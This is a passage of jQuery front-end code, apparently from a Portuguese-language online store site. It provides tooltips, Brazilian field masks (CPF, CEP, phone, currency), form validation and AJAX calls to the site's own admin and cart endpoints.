var tooltip=function(){
	var id = 'tt';
	var top = 3;
	var left = 3;
	var maxw = 300;
	var speed = 10;
	var timer = 20;
	var endalpha = 95;
	var alpha = 0;
	var tt,t,c,b,h;
	var ie = document.all ? true : false;
	return{
		show:function(v,w){
			if(tt == null){
				tt = document.createElement('div');
				tt.setAttribute('id',id);
				t = document.createElement('div');
				t.setAttribute('id',id + 'top');
				c = document.createElement('div');
				c.setAttribute('id',id + 'cont');
				b = document.createElement('div');
				b.setAttribute('id',id + 'bot');
				tt.appendChild(t);
				tt.appendChild(c);
				tt.appendChild(b);
				document.body.appendChild(tt);
				tt.style.opacity = 0;
				tt.style.filter = 'alpha(opacity=0)';
				document.onmousemove = this.pos;
			}
			tt.style.display = 'block';
			c.innerHTML = v;
			tt.style.width = w ? w + 'px' : 'auto';
			if(!w && ie){
				t.style.display = 'none';
				b.style.display = 'none';
				tt.style.width = tt.offsetWidth;
				t.style.display = 'block';
				b.style.display = 'block';
			}
			if(tt.offsetWidth > maxw){tt.style.width = maxw + 'px'}
			h = parseInt(tt.offsetHeight) + top;
			clearInterval(tt.timer);
			tt.timer = setInterval(function(){tooltip.fade(1)},timer);
		},
		pos:function(e){
			var u = ie ? event.clientY + document.documentElement.scrollTop : e.pageY;
			var l = ie ? event.clientX + document.documentElement.scrollLeft : e.pageX;
			tt.style.top = (u - h) + 'px';
			tt.style.left = (l + left) + 'px';
		},
		fade:function(d){
			var a = alpha;
			if((a != endalpha && d == 1) || (a != 0 && d == -1)){
				var i = speed;
				if(endalpha - a < speed && d == 1){
					i = endalpha - a;
				}else if(alpha < speed && d == -1){
					i = a;
				}
				alpha = a + (i * d);
				tt.style.opacity = alpha * .01;
				tt.style.filter = 'alpha(opacity=' + alpha + ')';
			}else{
				clearInterval(tt.timer);
				if(d == -1){tt.style.display = 'none'}
			}
		},
		hide:function(){
			clearInterval(tt.timer);
			tt.timer = setInterval(function(){tooltip.fade(-1)},timer);
		}
	};
}();



function mudaCadastro(tipo) {
	if(tipo == 'juridica') {
		$('#documento1').html('CNPJ');
		$('#documento2').html('Inscrição Estadual');
		$('#linhafisica1').hide();
		$('#linhafisica2').hide();
	} else {
		$('#documento1').html('CPF');
		$('#documento2').html('RG');
		$('#linhafisica1').show();
		$('#linhafisica2').show();
	}
}

function enviarCadastro() {
	var erros = 0;
	//consulta se o email já existe na base de dados
	$.ajax({
		  url: '/executa/testalogin',
		  data: "login="+$('#email').attr('value'),
		  type: 'POST',
		  success: function(data) {
				if(Trim(data) == 'sim') {
					alert('Este email já esta cadastrado');
					erros++;
				}
				
				if($('#resenha').attr('value') != $('#senha').attr('value')) {
						//alert('As senhas não conferem');
						$('#senha').css('border','solid red 1px');
						$('#resenha').css('border','solid red 1px');
						erros++;
					} else {
						$('#senha').css('border','solid #ccc 1px');
						$('#resenha').css('border','solid #ccc 1px');
					}
					if($('#nome').attr('value') == '') {
						$('#nome').css('border','solid red 1px');
						erros++;
					} else {
						$('#nome').css('border','solid  #ccc 1px');
					}
					if($('#cpf').attr('value') == '') {
						$('#cpf').css('border','solid red 1px');
						erros++;
					} else {
						$('#cpf').css('border','solid  #ccc 1px');
					}
					if($('#rg').attr('value') == '') {
						$('#rg').css('border','solid red 1px');
						erros++;
					} else {
						$('#rg').css('border','solid  #ccc 1px');
					}
					if($('#cep').attr('value') == '') {
						$('#cep').css('border','solid red 1px');
						erros++;
					} else {
						$('#cep').css('border','solid  #ccc 1px');
					}
					if($('#telefone').attr('value') == '') {
						$('#telefone').css('border','solid red 1px');
						erros++;
					} else {
						$('#telefone').css('border','solid  #ccc 1px');
					}
					
					if(erros == 0) {
						$('#formCadastro').submit();
					}
		  }
	});

}

function Trim(str){return str.replace(/^\s+|\s+$/g,"");}

function alteraCadastro() {
		var erros = 0;
	if($('#nome').attr('value') == '') {
		$('#nome').css('border','solid red 1px');
		erros++;
	} else {
		$('#nome').css('border','solid  #ccc 1px');
	}
	if($('#cpf').attr('value') == '') {
		$('#cpf').css('border','solid red 1px');
		erros++;
	} else {
		$('#cpf').css('border','solid  #ccc 1px');
	}
	if($('#rg').attr('value') == '') {
		$('#rg').css('border','solid red 1px');
		erros++;
	} else {
		$('#rg').css('border','solid  #ccc 1px');
	}
	if($('#cep').attr('value') == '') {
		$('#cep').css('border','solid red 1px');
		erros++;
	} else {
		$('#cep').css('border','solid  #ccc 1px');
	}
	if($('#telefone').attr('value') == '') {
		$('#telefone').css('border','solid red 1px');
		erros++;
	} else {
		$('#telefone').css('border','solid  #ccc 1px');
	}
	if(erros == 0) {
		$('#altera-cadastro').submit();
	}
}

function alteraPacote() {
		var erros = 0;
	if($('#titulo').attr('value') == '') {
		$('#titulo').css('border','solid red 1px');
		erros++;
	} else {
		$('#titulo').css('border','solid  #ccc 1px');
	}
	if($('#valor').attr('value') == '') {
		$('#valor').css('border','solid red 1px');
		erros++;
	} else {
		$('#valor').css('border','solid  #ccc 1px');
	}
	if($('#imovel').attr('value') == '') {
		$('#imovel').css('border','solid red 1px');
		erros++;
	} else {
		$('#imovel').css('border','solid  #ccc 1px');
	}
	if($('#dias').attr('value') == '') {
		$('#dias').css('border','solid red 1px');
		erros++;
	} else {
		$('#dias').css('border','solid  #ccc 1px');
	}
	if(erros == 0) {
		$('#salva-pacote').submit();
	}
}







//MASCARA PARA TELEFONE
function fone(obj,prox) {
	switch (obj.value.length) {
		case 1:
				obj.value = "(" + obj.value;
				break;
		case 3:
				obj.value = obj.value + ")";
				break;  
		case 8:
				obj.value = obj.value + "-";
				break;  
		case 13:
				prox.focus();
				break;
	}
}




//MASCARA PARA CPF
function FormataCpf(campo, teclapres){
	var tecla = teclapres.keyCode;
	var vr = new String(campo.value);
	vr = vr.replace(".", "");
	vr = vr.replace("/", "");
	vr = vr.replace("-", "");
	tam = vr.length + 1;
	if (tecla != 14){
		if (tam == 4)
			campo.value = vr.substr(0, 3) + '.';
		if (tam == 7)
			campo.value = vr.substr(0, 3) + '.' + vr.substr(3, 6) + '.';
		if (tam == 11)
			campo.value = vr.substr(0, 3) + '.' + vr.substr(3, 3) + '.' + vr.substr(7, 3) + '-' + vr.substr(11, 2);
	}
}

//MASCARA PARA CEP
function MascaraCEP(campo, teclaPress) {
  if (window.event){
    var tecla = teclaPress.keyCode;
  } else {
    tecla = teclaPress.which;
  }
  var s = new String(campo.value);
  s = s.replace(/(\.|\(|\)|\/|\-| )+/g,'');
  tam = s.length + 1;
  if (tam > 5 && tam < 7)
    campo.value = s.substr(0,5) + '-' + s.substr(5, tam);
}

//MASCARA PARA CEP
function digitos(event){
  if (window.event) {
    // IE
    key = event.keyCode;
  } 
  else if (event.which) {
    // netscape
    key = event.which;
  }
  if (key != 8 || key != 13 || key < 48 || key > 57)
    return (((key > 47) && (key < 58)) || (key == 8 ) || (key == 13));
    return true;
}

function BlockKeybord(){
		if(window.event) // IE
		{
				if((event.keyCode < 48) || (event.keyCode > 57))
				{
						event.returnValue = false;
				}
		}
		else if(e.which) // Netscape/Firefox/Opera
		{
				if((event.which < 48) || (event.which > 57))
				{
						event.returnValue = false;
				}
		}

		
}

function troca(str,strsai,strentra){
		while(str.indexOf(strsai)>-1)
		{
				str = str.replace(strsai,strentra);
		}
		return str;
}

function FormataMoeda(campo,tammax,teclapres,caracter){
		if(teclapres == null || teclapres == "undefined")
		{
				var tecla = -1;
		}
		else
		{
				var tecla = teclapres.keyCode;
		}

		if(caracter == null || caracter == "undefined")
		{
				caracter = ".";
		}

		vr = campo.value;
		if(caracter != "")
		{
				vr = troca(vr,caracter,"");
		}
		vr = troca(vr,"/","");
		vr = troca(vr,",","");
		vr = troca(vr,".","");

		tam = vr.length;
		if(tecla > 0)
		{
				if(tam < tammax && tecla != 8)
				{
						tam = vr.length + 1;
				}

				if(tecla == 8)
				{
						tam = tam - 1;
				}
		}
		if(tecla == -1 || tecla == 8 || tecla >= 48 && tecla <= 57 || tecla >= 96 && tecla <= 105)
		{
				if(tam <= 2)
				{
						campo.value = vr;
				}
				if((tam > 2) && (tam <= 5))
				{
						campo.value = vr.substr(0, tam - 2) + ',' + vr.substr(tam - 2, tam);
				}
				if((tam >= 6) && (tam <= 8))
				{
						campo.value = vr.substr(0, tam - 5) + caracter + vr.substr(tam - 5, 3) + ',' + vr.substr(tam - 2, tam);
				}
				if((tam >= 9) && (tam <= 11))
				{
						campo.value = vr.substr(0, tam - 8) + caracter + vr.substr(tam - 8, 3) + caracter + vr.substr(tam - 5, 3) + ',' + vr.substr(tam - 2, tam);
				}
				if((tam >= 12) && (tam <= 14))
				{
						campo.value = vr.substr(0, tam - 11) + caracter + vr.substr(tam - 11, 3) + caracter + vr.substr(tam - 8, 3) + caracter + vr.substr(tam - 5, 3) + ',' + vr.substr(tam - 2, tam);
				}
				if((tam >= 15) && (tam <= 17))
				{
						campo.value = vr.substr(0, tam - 14) + caracter + vr.substr(tam - 14, 3) + caracter + vr.substr(tam - 11, 3) + caracter + vr.substr(tam - 8, 3) + caracter + vr.substr(tam - 5, 3) + ',' + vr.substr(tam - 2, tam);
				}
		}
}

 
 
function formatar_mascara(src, mascara) {
	 var campo = src.value.length;
	 var saida = mascara.substring(0,1);
	 var texto = mascara.substring(campo);
	 if(texto.substring(0,1) != saida) {
	  src.value += texto.substring(0,1);
	 }
}
 


function maskKeyPress(objEvent){
		var iKeyCode;
		if(window.event) // IE
		{
				iKeyCode = objEvent.keyCode;
				if(iKeyCode>=48 && iKeyCode<=57) return true;
				return false;
		}else if(e.which) // Netscape/Firefox/Opera
		{
				iKeyCode = objEvent.which;
				if(iKeyCode>=48 && iKeyCode<=57) return true;
				return false;
		}	
}
				
				
				
function buscaEstadoImovel() {
	//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/executa/buscaEstado",
						//dados para requisição
				    	data: "estado_id= "  + 	$('#estado').attr('value') ,
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#sprytextfield6').html(msg);
				   		}
				 });
}

function buscaEstado(cidade) {
	//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/executa/buscaEstado",
						//dados para requisição
				    	data: "estado_id= "  + 	$('#estado').attr('value') ,
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#select_cidade').html(msg);
						   
						   if(cidade != undefined) { 
						   	$("#cidade").addOption(cidade, cidade);
						   }
				   		}
				 });
}


function buscaEndereco(cepdigitado) {
	//chamada do AJAX
	 $.ajax({
			type: "POST",
			//arquivo que vai executar a requisição
			url: "/executa/buscaPeloCep",
			//dados para requisição
			data: "cep= "  + 	cepdigitado ,
			//após a conclusão adiciona os dados ao elemento
			success: function(msg){
					
					var dados = msg.split("$");
					
				
					if(dados[1] != 'ERRO AO BUSCAR CEP') {
						$('#bairro').attr('value',dados[4]);
						$('#endereco').attr('value',dados[5] + ' ' + dados[6]);
						$("#estado").selectOptions(dados[2]);
						buscaEstado(dados[3]);
					}
					
				}
			});
}

function limpaCampoLogin() {
	
	$('#login').attr('value','');
									
}

function limpaCampoSenha() {
	
	$('#senha').attr('value','');
									
}

function limpaCampo() {
	
	$('#busca').attr('value','');
									
}


function formatar_mascara(src, mascara) {
	var campo = src.value.length;
	var saida = mascara.substring(0,1);
	var texto = mascara.substring(campo);
	if(texto.substring(0,1) != saida) {
		src.value += texto.substring(0,1);
	}
}

function validaCadastro() {
	var erros = 0;
	
	// valida email
	var txt = $('#email').attr('value');
	if ((txt.length != 0) && ((txt.indexOf("@") < 1) || (txt.indexOf('.') < 1)))
	{
		$('#email').css('border','solid red 1px');
		$('#email').css('background-color','#FDDFDF');
		alert('Formato de e-mail incorreto.');
		erros++;
	} else {			
	
	//consulta se o email já existe na base de dados
	$.ajax({
		  url: '/executa/testalogin/hotsite',
		  data: "login="+$('#email').attr('value'),
		  type: 'POST',
		  success: function(data) {
				if(Trim(data) == 'sim') {
					$('#email').css('border','solid red 1px');
					$('#email').css('background-color','#FDDFDF');
					alert('Este email não pode ser cadastrado! Preencha o campo novamente!');
					erros++;
				} else if(Trim(data) == 'nao'){
					$('#email').css('border','solid  #ccc 1px');
					$('#email').css('background-color','#fff');
				} else if(Trim(data) == 'vazio'){
					$('#email').css('border','solid red 1px');
					$('#email').css('background-color','#FDDFDF');
					erros++;
				}
				
				if($('#nome').attr('value') == '') {
					$('#nome').css('border','solid red 1px');
					$('#nome').css('background-color','#FDDFDF');
					erros++;
				} else {
					$('#nome').css('border','solid  #ccc 1px');
					$('#nome').css('background-color','#fff');
				}
				if($('#telefone').attr('value') == '') {
					$('#telefone').css('border','solid red 1px');
					$('#telefone').css('background-color','#FDDFDF');
					erros++;
				} else {
					$('#telefone').css('border','solid  #ccc 1px');
					$('#telefone').css('background-color','#fff');
				}
				if($('#cep').attr('value') == '') {
					$('#cep').css('border','solid red 1px');
					$('#cep').css('background-color','#FDDFDF');
					erros++;
				} else {
					$('#cep').css('border','solid  #ccc 1px');
					$('#cep').css('background-color','#fff');
				}
				if($('#endereco').attr('value') == '') {
					$('#endereco').css('border','solid red 1px');
					$('#endereco').css('background-color','#FDDFDF');
					erros++;
				} else {
					$('#endereco').css('border','solid  #ccc 1px');
					$('#endereco').css('background-color','#fff');
				}
				if($('#bairro').attr('value') == '') {
					$('#bairro').css('border','solid red 1px');
					$('#bairro').css('background-color','#FDDFDF');
					erros++;
				} else {
					$('#bairro').css('border','solid  #ccc 1px');
					$('#bairro').css('background-color','#fff');
				}
				if($('#senha').attr('value') == '') {
					$('#senha').css('border','solid red 1px');
					$('#senha').css('background-color','#FDDFDF');
					erros++;
				} else {
					$('#senha').css('border','solid  #ccc 1px');
					$('#senha').css('background-color','#fff');
				}
				if($('#documento').attr('value') == '') {
					$('#documento').css('border','solid red 1px');
					$('#documento').css('background-color','#FDDFDF');
					erros++;
				} else {
					$('#documento').css('border','solid  #ccc 1px');
					$('#documento').css('background-color','#fff');
				}
				
				
				if(erros == 0) {
					$('#formCadastro').submit();
				}
		  
		  
		  // fechando o success
		  }
	// fechando o ajax
	});
	
	// fechando validação e-mail
	}

}


function trocaCampo(tipo) {
	if(tipo == 0) {
		$('#nomeLabel').html('CPF');
		$('#campo_cpf').css('display','block');
		$('#campo_cnpj').css('display','none');
		$('#cnpj').attr('value','');
	} else if (tipo == 1) {
		$('#nomeLabel').html('CNPJ');
		$('#campo_cpf').css('display','none');
		$('#campo_cnpj').css('display','block');
		$('#cpf').attr('value','');
	}
}

function ValidaEmail()
{
  var obj = eval("document.forms[0].email");
  var txt = obj.value;
  if ((txt.length != 0) && ((txt.indexOf("@") < 1) || (txt.indexOf('.') < 1)))
  {
    alert('Formato de e-mail incorreto.');
	obj.focus();
  }
}

function validaLoja() {
	var erros = 0;
	$.ajax({
		url: '/executa/testa-url/hotsite',
		data: "url="+$('#url').attr('value'),
		type: 'POST',
		success: function(data) {
			if(Trim(data) == 'sim') {
				$('#url').css('border','solid red 1px');
				$('#url').css('background-color','#FDDFDF');
				alert('Já existe uma loja com a mesma url! Preencha o campo novamente!');
				erros++;
			} else if(Trim(data) == 'nao'){
				$('#url').css('border','solid  #ccc 1px');
				$('#url').css('background-color','#fff');
			} else if(Trim(data) == 'vazio'){
				$('#url').css('border','solid red 1px');
				$('#url').css('background-color','#FDDFDF');
				erros++;
			}
			
			if($('#descricao').attr('value') == '') {
				$('#descricao').css('border','solid red 1px');
				$('#descricao').css('background-color','#FDDFDF');
				erros++;
			} else {
				$('#descricao').css('border','solid  green 1px');
			}
			if($('#nome').attr('value') == '') {
				$('#nome').css('border','solid red 1px');
				$('#nome').css('background-color','#FDDFDF');
				erros++;
			} else {
				$('#nome').css('border','solid  green 1px');
			}
			if($('#logotipo').attr('value') == '') {
				$('#logotipo').css('border','solid red 1px');
				$('#logotipo').css('background-color','#FDDFDF');
				erros++;
			} else {
				$('#logotipo').css('border','solid  green 1px');
			}
			if($('#email').attr('value') == '') {
				$('#email').css('border','solid red 1px');
				$('#email').css('background-color','#FDDFDF');
				erros++;
			} else {
				$('#email').css('border','solid  green 1px');
			}
			
			if(erros == 0) {
				$('#formCadastro').submit();
			}

	} // fechando o success
		  
}); // fechando o ajax
				

}

function mudarPlano() {
	window.location = '/ver/escolha-plano';
}

function Trim(str){return str.replace(/^\s+|\s+$/g,"");}
function limpaCaracteresEspeciais(obj) { 
	//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/executa/limpatexto/hotsite",
						//dados para requisição
				    	data: "texto="+obj.value ,
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $(obj).attr('value',Trim(msg));
				   		}
				 });
}

function validaLogin() {
	var erros = 0;

	if($('#login').attr('value') == '') {
		$('#login').css('border','solid red 1px');
		$('#login').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#login').css('border','solid  green 1px');
	}
	if($('#senha').attr('value') == '') {
		$('#senha').css('border','solid red 1px');
		$('#senha').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#senha').css('border','solid  green 1px');
	}

	if(erros == 0) {
		$('#formCadastro').submit();
	}
}

function lembreteSenha() {

	if($('#login').attr('value') == '') {
		alert('Preencha seu e-mail para que possamos enviar o lembrete!');
		$('#login').css('border','solid red 1px');
		$('#login').css('background-color','#FDDFDF');
		$('#senha').css('border','solid  #ccc 1px');
		$('#senha').css('background-color','#FFF');
	} else {
		window.location = '/executa/lembrete-senha/hotsite/'+$('#login').attr('value');	
	}	
}

function alteraCategoria() {
	//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/executa/alteraCategoria/admin",
						//dados para requisição
				    	data: "categoria_id= "  + 	$('#categoria_id').attr('value') ,
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#subCategoria_label').html(msg);
				   		}
				 });
}




function ordenaProduto() {
		//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/admin/ordenaProduto",
						//dados para requisição
				    	data: "ordenacao_id= "  + 	$('#ordenacao_id').attr('value'),
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#listaAdmin').html(msg);
				   		}
				 });
}

function ordenaEstoque() {
		//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/admin/estoque",
						//dados para requisição
				    	data: "ordenacao_id= "  + 	$('#ordenacao_id').attr('value'),
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#geral').html(msg);
				   		}
				 });
}

function alteraSituacaoPedido() {
		//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/executa/alteraSituacaoPedido/admin",
						//dados para requisição
				    	data: "situacao_id= "  + 	$('#situacao_id').attr('value')+
						"&pedido_id= "  + 	$('#pedido_id').attr('value'),
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#situacao').html(msg);
				   		}
				 });
}

function buscaCliente() {
		//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/admin/buscaCliente",
						//dados para requisição
				    	data: "busca= "  + 	$('#busca').attr('value')+
						"&nome= "  + 	$('#nome').attr('value'),
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#listaAdmin').html(msg);
				   		}
				 });
}

function buscaPedido() {
	
	var erros = 0;

	if($('#nome').attr('value') == '') {
		alert('Preencha o campo de busca!');
		erros++;
	}
	if(erros == 0) {
		$('#formBusca').submit();
	}

}

function alteraCores(campo,cor) {
		//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/admin/altera-cores",
						//dados para requisição
						data: campo+"="+cor ,
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#exemplo').html(msg);
				   		}
				 });
}

function filtraPedido() {
	$('#formFiltra').submit();
}

function campoBusca(valor) {
	if(valor == 2) {
		$('#nome').attr('OnKeyUp','mascaraBusca(this.value);');
		$('#nome').attr('maxlength','10');
	}	
	if(valor == 1) {
		$('#nome').attr('OnKeyUp','');
		$('#nome').attr('maxlength','100');
	}
	if(valor == 3) {
		$('#nome').attr('OnKeyUp','');
		$('#nome').attr('maxlength','100');
	}
}
	
	//MASCARA DATA
	function mascaraData(campoData){
		var busca = campoData.value;
		if (busca.length == 2){
		  busca = busca + '/';
		  document.forms[0].data.value = busca;
		return true;              
		}
		if (busca.length == 5){
		  busca = busca + '/';
		  document.forms[0].data.value = busca;
		  return true;
		}
	}


	//MASCARA CAMPO DE BUSCA
	function mascaraBusca(campoData){
		var busca = $('#nome').attr('value');
		if (busca.length == 2){
		  busca = busca + '/';
		  document.forms[0].nome.value = busca;
		return true;              
		}
		if (busca.length == 5){
		  busca = busca + '/';
		  document.forms[0].nome.value = busca;
		  return true;
		}
	}


function paginacao (pag_atual) {
	$('#pagina').attr('value',pag_atual);
	$('#formBusca').submit();
}


function validaCategoria(){	
	var erros = 0;
	if($('#nome').attr('value') == '') {
		$('#nome').css('border','solid red 1px');
		$('#nome').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#nome').css('border','solid  green 1px');
	}
	if(erros == 0) {
		$('#categoria-form').submit();
	}
	
}


function validaSubCategoria(){	
	var erros = 0;
	if($('#nome').attr('value') == '') {
		$('#nome').css('border','solid red 1px');
		$('#nome').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#nome').css('border','solid  green 1px');
	}
	if(erros == 0) {
		$('#subcategoria-form').submit();
	}
	
}


function validaProduto(){	
	var erros = 0;
	if($('#nome').attr('value') == '') {
		$('#nome').css('border','solid red 1px');
		$('#nome').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#nome').css('border','solid  green 1px');
		$('#nome').css('background-color','#ECF1D5');
	}
	if($('#peso').attr('value') == '') {
		$('#peso').css('border','solid red 1px');
		$('#peso').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#peso').css('border','solid  green 1px');
		$('#peso').css('background-color','#ECF1D5');
	}
	if($('#quantidade').attr('value') == '') {
		$('#quantidade').css('border','solid red 1px');
		$('#quantidade').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#quantidade').css('border','solid  green 1px');
		$('#quantidade').css('background-color','#ECF1D5');
	}
	if($('#reais').attr('value') == '') {
		$('#reais').css('border','solid red 1px');
		$('#reais').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#reais').css('border','solid  green 1px');
		$('#reais').css('background-color','#ECF1D5');
	}
	if($('#centavos').attr('value') == '') {
		$('#centavos').css('border','solid red 1px');
		$('#centavos').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#centavos').css('border','solid  green 1px');
		$('#centavos').css('background-color','#ECF1D5');		
	}
	if($('#categoria_id').attr('value') == 0) {
		$('#categoria_id').css('border','solid red 1px');
		$('#categoria_id').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#categoria_id').css('border','solid  green 1px');
		$('#categoria_id').css('background-color','#ECF1D5');
	}
	if($('#subcategoria_id').attr('value') == 0) {
		$('#subcategoria_id').css('border','solid red 1px');
		$('#subcategoria_id').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#subcategoria_id').css('border','solid  green 1px');
		$('#subcategoria_id').css('background-color','#ECF1D5');
	}
	if(erros == 0) {
		$('#produto-form').submit();
	}
	
}

function validaCliente(){	
	var erros = 0;
	if($('#nome').attr('value') == '') {
		$('#nome').css('border','solid red 1px');
		$('#nome').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#nome').css('border','solid  green 1px');
		$('#nome').css('background-color','#ECF1D5');
	}
	if($('#documento').attr('value') == '') {
		$('#documento').css('border','solid red 1px');
		$('#documento').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#documento').css('border','solid  green 1px');
		$('#documento').css('background-color','#ECF1D5');
	}
	if($('#telefone').attr('value') == '') {
		$('#telefone').css('border','solid red 1px');
		$('#telefone').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#telefone').css('border','solid  green 1px');
		$('#telefone').css('background-color','#ECF1D5');
	}
	if($('#cep').attr('value') == '') {
		$('#cep').css('border','solid red 1px');
		$('#cep').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#cep').css('border','solid  green 1px');
		$('#cep').css('background-color','#ECF1D5');
	}
	if($('#endereco').attr('value') == '') {
		$('#endereco').css('border','solid red 1px');
		$('#endereco').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#endereco').css('border','solid  green 1px');
		$('#endereco').css('background-color','#ECF1D5');
	}
	if($('#bairro').attr('value') == '') {
		$('#bairro').css('border','solid red 1px');
		$('#bairro').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#bairro').css('border','solid  green 1px');
		$('#bairro').css('background-color','#ECF1D5');		
	}
	if($('#estado').attr('value') == 0) {
		$('#estado').css('border','solid red 1px');
		$('#estado').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#estado').css('border','solid  green 1px');
		$('#estado').css('background-color','#ECF1D5');
	}
	if($('#cidade').attr('value') == 0) {
		$('#cidade').css('border','solid red 1px');
		$('#cidade').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#cidade').css('border','solid  green 1px');
		$('#cidade').css('background-color','#ECF1D5');
	}
	if($('#login').attr('value') == '') {
		$('#login').css('border','solid red 1px');
		$('#login').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#login').css('border','solid  green 1px');
		$('#login').css('background-color','#ECF1D5');
	}
	if($('#senha').attr('value') == '') {
		$('#senha').css('border','solid red 1px');
		$('#senha').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#senha').css('border','solid  green 1px');
		$('#senha').css('background-color','#ECF1D5');
	}
	if(erros == 0) {
		$('#cliente-form').submit();
	}
	
}

function validaEstoque(){	
	var erros = 0;
	if($('#nova_quantidade').attr('value') == '') {
		$('#nova_quantidade').css('border','solid red 1px');
		$('#nova_quantidade').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#nova_quantidade').css('border','solid  green 1px');
	}
	if(erros == 0) {
		$('#estoque-form').submit();
	}
	
}


function validaBanner(){	
	var erros = 0;
	if($('#nome').attr('value') == '') {
		$('#nome').css('border','solid red 1px');
		$('#nome').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#nome').css('border','solid  green 1px');
		$('#nome').css('background-color','#ECF1D5');
	}
	if($('#link').attr('value') == '') {
		$('#link').css('border','solid red 1px');
		$('#link').css('background-color','#FDDFDF');
		erros++;
	} else {
		$('#link').css('border','solid  green 1px');
		$('#link').css('background-color','#ECF1D5');
	}
	if(erros == 0) {
		$('#banner-form').submit();
	}
	
}



/*função que busca a duvida via ajax*/
function buscaDuvida() {
	//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/executa/buscaDuvida/admin",
						//dados para requisição
				    	data: "categoria_id= "  + 	$('#categoria_id').attr('value') ,
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#pergunta').html(msg);
						   $('#resposta').html('');
				   		}
				 });
}


/*função que busca a duvida via ajax*/
function buscaResposta() {
	//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/executa/buscaResposta/admin",
						//dados para requisição
				    	data: "pergunta_id= "  + 	$('#pergunta_id').attr('value') ,
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#resposta').html(msg);
				   		}
				 });
}

function exibeDestaque(local,url_imagem){
	$('#imagemDestaque').attr('src',url_imagem);
	$('#imagem').attr('href',url_imagem);
	
}

function mudaBanner(destaque) {
	//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/ver/mudaBanner/loja/"+destaque,
						//dados para requisição
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#tabela-banner').html(msg);
				   		}
				 });
}

function removeImagem(id_img) {
	//chamada do AJAX
	 $.ajax({
					 	type: "POST",
						//arquivo que vai executar a requisição
				   		url: "/executa/remove-foto/admin/"+id_img,
						//dados para requisição
						//após a conclusão adiciona os dados ao elemento
				  		success: function(msg){
							//elemento que vai receber o retorno
						   $('#img'+id_img).remove();
						   $('#link'+id_img).remove(); 
						   var valor_atual = parseInt($('#qtd_foto').attr('value'));
						   var valor_alterado = valor_atual+1;
						   $('#qtd_foto').attr('value',valor_alterado);
				   		}
				 });
}


function alteraValorTotal(quantidade,id_produto) {
	var valor_produto = document.getElementById('valorTotal-'+id_produto).innerHTML;
	var valor_pedido = document.getElementById('valorTotalPedido').innerHTML;
	if(quantidade == 0) {
		window.location = '/executa/remove-carrinho/loja/'+id_produto;
	} else {
		$.ajax({
			type: "POST",
			url: "/executa/altera-valor-produto/loja",
			data: "quantidade= "  + 	quantidade+
			"&id_produto= "  + 	id_produto,
			success: function(msg){
				 $('#valorTotal-'+id_produto).html(msg);
				 $.ajax({
					type: "POST",
					data: "quantidade= "  + 	quantidade+
						"&id_produto= "  + 	id_produto+
						"&valor_pedido= "  + 	valor_pedido+
						"&valor_produto= "  + 	valor_produto,
					url: "/executa/altera-valor-pedido/loja",
					success: function(msg){
						 $('#valorTotalPedido').html(msg);							 
					}
				});
				 
			}
		});
	}
}

/*função que busca o produto via ajax*/
function ordenaProduto() {
	$('#form-ordenacao').submit();
}

function direcionaCadastro() {
